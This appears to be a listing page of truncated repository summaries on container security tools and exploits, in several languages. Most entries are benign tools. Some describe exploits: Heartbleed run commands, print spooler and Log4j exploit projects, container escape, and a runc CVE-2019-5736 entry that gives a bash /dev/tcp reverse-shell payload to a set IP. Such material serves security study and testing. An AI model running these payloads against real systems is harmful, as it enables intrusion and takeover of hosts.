kata-containers

Kata Containers ¡Bienvenido a Kata Containers! Este repositorio es el hogar del código de Kata Containers para las versiones 2.0 y posteriores. Si quieres aprender sobre Kata Containers, visita el sitio web principal de Kata Containers. Introducción Kata Containers es un proyecto y comunidad de...

heartbleed

heartbleed Heartbleed エクスプロイトの実行 python heartbleed.py 127.0.0.1 -p 8443 サーバーのセットアップと実行 Docker をインストールし、デーモンを実行 Docker コンテナをインストール: docker pull hmlio/vaas-cve-2014-0160 ポートマッピングでコンテナを実行: docker run -d -p 8443:443 hmlio/vaas-cve-2014-0160 ブラウザを開いて https://localhost:8443/ にアクセス データのスプーフィング cd...

cve-2018-1002105

This was modified from https://gravitational.com/blog/kubernetes-websocket-upgrade-security-vulnerability/. All credit goes to the kind folks at Gravitational. The original PoC code was modified to go a bit beyond checking for vulnerability and to actually run a command inside the first container...

bpflock

bpflock - Lock Linux machines bpflock - eBPF driven security for locking and auditing Linux machines. Note: bpflock is currently in experimental stage , it may break, options and security semantics may change, some BPF programs will be updated to use Cilium ebpf library. Sections 1. Introduction...

Malcolm

Malcolm Malcolm は、以下の目標を念頭に設計された強力なネットワークトラフィック解析ツールスイートです。 使いやすさ – Malcolm は、フルパケットキャプチャ（PCAP）ファイル、Zeek ログ、Suricata アラートの形式でネットワークトラフィックデータを受け入れます。これらのアーティファクトは、シンプルなブラウザベースのインターフェースからアップロードするか、ライブでパッシブにキャプチャして軽量フォワーダーを使用して Malcolm に転送できます。いずれの場合も、データは解析用に自動的に正規化、エンリッチメント、相関付けされます。 強力なトラフィック解析 –...

SpoolSploit

SpoolSploit A collection of Windows print spooler exploits containerized with other utilities for practical exploitation. Summary SpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation. A couple of highly effective methods would...

dasel-melange-apko

dasel v3.3.1 — Melange + apko build, patched for CVE-2026-33320 This repo packages the dasel CLI v3.3.1 as an APK with Melange , builds a minimal container image with apko , and applies a fix for CVE-2026-33320 while staying on the v3.3.1 codebase a patch, not a version bump. The result is a 4 MB...

csf

ArmourBird CSF - Container Security Framework Note: The CSF Client is under active development and is getting converted into GoLang for better performace and architecture Table of Contents 1. About 2. Architecture Diagram 3. APIs-CSF Server 4. Installation/Usage 5. Building Docker Images 6. Sneak...

csf

ArmourBird CSF - コンテナセキュリティフレームワーク 注: CSF Clientは活発に開発中であり、パフォーマンスとアーキテクチャ向上のためGoLangに移行中です。 目次 1. 概要 2. アーキテクチャ図 3. API - CSFサーバー 4. インストール/使用方法 5. Dockerイメージのビルド 6. プレビュー 7. 今後のタスク 8. ウェブサイト 9. Twitter 10. 参考文献 概要 ArmourBird CSF - コンテナセキュリティフレームワーク...

PIE-Stack-Clash-CVE-2017-1000253

PIE-Stack-Clash-CVE-2017-1000253 Demo-ing CVE-2017-1000253 in a container. This demo relies on Qualys POC code that performs the exploit over CentOS. Install a vulnerable kernel 1.Install CentOS 7 2.Install Docker 3.Edit the /etc/yum.repos.d/CentOS-Vault.repo file: 1.Change each entry to path to...

cve-2014-0050

cve-2014-0050 CVE-2014-0050 Vulnerable site sample This project aims to demonstrate the CVE-2014-0050 exploitation for educational purpose. For more informations, see : https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2014-0050--Exploit-with-Boundaries,-Loops-without-Boundaries/...

cve-2020-14386

Reproducer for CVE-2020-14386 Pre-built container: registry.svc.ci.openshift.org/coreos/cve-2020-14386 You probably want to test against an explicit node, like this: apiVersion: v1 kind: Pod metadata: name: cve-2020-14386 spec: restartPolicy: Never nodeName: containers: - name: cve-2020-14386...

trivy-action

Trivy Action GitHub Action for Trivy !GitHub Releaserelease-imgrelease !GitHub Marketplacemarketplace-imgmarketplace !Licenselicense-imglicense Table of Contents Usage Scan CI Pipeline Scan CI Pipeline w/ Trivy Config Cache Trivy Setup Scanning a Tarball Using Trivy with templates Using Trivy wit...

serverless-prey

Puma Security Serverless Prey Serverless Prey は、クラウド環境にデプロイされて呼び出されると、TCPリバースシェルを確立し、ユーザーが基盤となるコンテナを調査できるようにするサーバーレス関数（FaaS）のコレクションです。 Panther: Node.js で書かれた AWS Lambda Cougar: C で書かれた Azure Function Cheetah: Go で書かれた Google Cloud Function...

melange

melange 宣言的パイプラインを使用して apk パッケージをビルドします。 apko でビルドされたコンテナイメージにカスタムパッケージを提供するためによく使用されます。大多数の apk は、Wolfi または Alpine Linux エコシステムのいずれかで使用するためにビルドされます。 主な特徴: パイプライン指向のビルド。 ビルドパイプラインのすべてのステップは、従来のパッケージマネージャーが持つような明確なフェーズとは異なり、ユーザーが定義して制御します。 デフォルトでマルチアーキテクチャ対応。 QEMU...

hardening-k8s-containers

Intentionally Vulnerable Note Taking Application This repository contains a very simple and vulnerable application used to demonstrate the differences between deploying this application with the default settings to a Kubernetes cluster, versus adding some extra security settings that WILL NOT fix...

ptcpdump

ptcpdump %20e2e %20e2e English | 中文 ptcpdumpは、eBPFを搭載したtcpdump互換のパケットアナライザです。検出可能な場合、パケットにプロセス/コンテナ/ポッドのメタデータを自動的に注釈付けします。 jschwinger233/skbdumpに触発されています。 目次 特徴 インストール 要件 使い方 コマンド例 出力例 Dockerでの実行 バックエンド フラグ tcpdumpとの比較 開発 依存関係 ビルド 関連プロジェクト Flownix 特徴 🔍 プロセス/コンテナ/ポッド対応のパケットキャプチャ。 📦...

deepce

deepce . == === /"""""""""""""""""/ === / ===- \ X / \ \ / \/ / / / / / / / / \ ENUMERATE / // / / / // / / / ESCALATE ,/// ./// ESCAPE // Webサイト Docker 列挙、権限昇格、コンテナエスケープ DEEPCE できるだけ多くのコンテナと互換性があるように、DEEPCE は依存関係のない純粋な sh で書かれています。利用可能であれば curl、nmap、nslookup、dig...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run: go build main.go Host a...

log4j-vulnerability

LOG4J 脆弱性 CVE-2021-44228 の脆弱性を悪用する方法を示す Java ベースのプロジェクトです。 https://user-images.githubusercontent.com/13152452/147803050-458593e9-4b54-4e1f-ba07-802866b9b43e.mp4 必要条件 Linux ベースのオペレーティングシステム: 私は Ubuntu Desktop 20.10 64 bits を使用しました。 OpenJDK 17.0.1: 悪用プログラムをビルドするために必要です。新しいバージョンでも動作する可能性があります。 Oracl...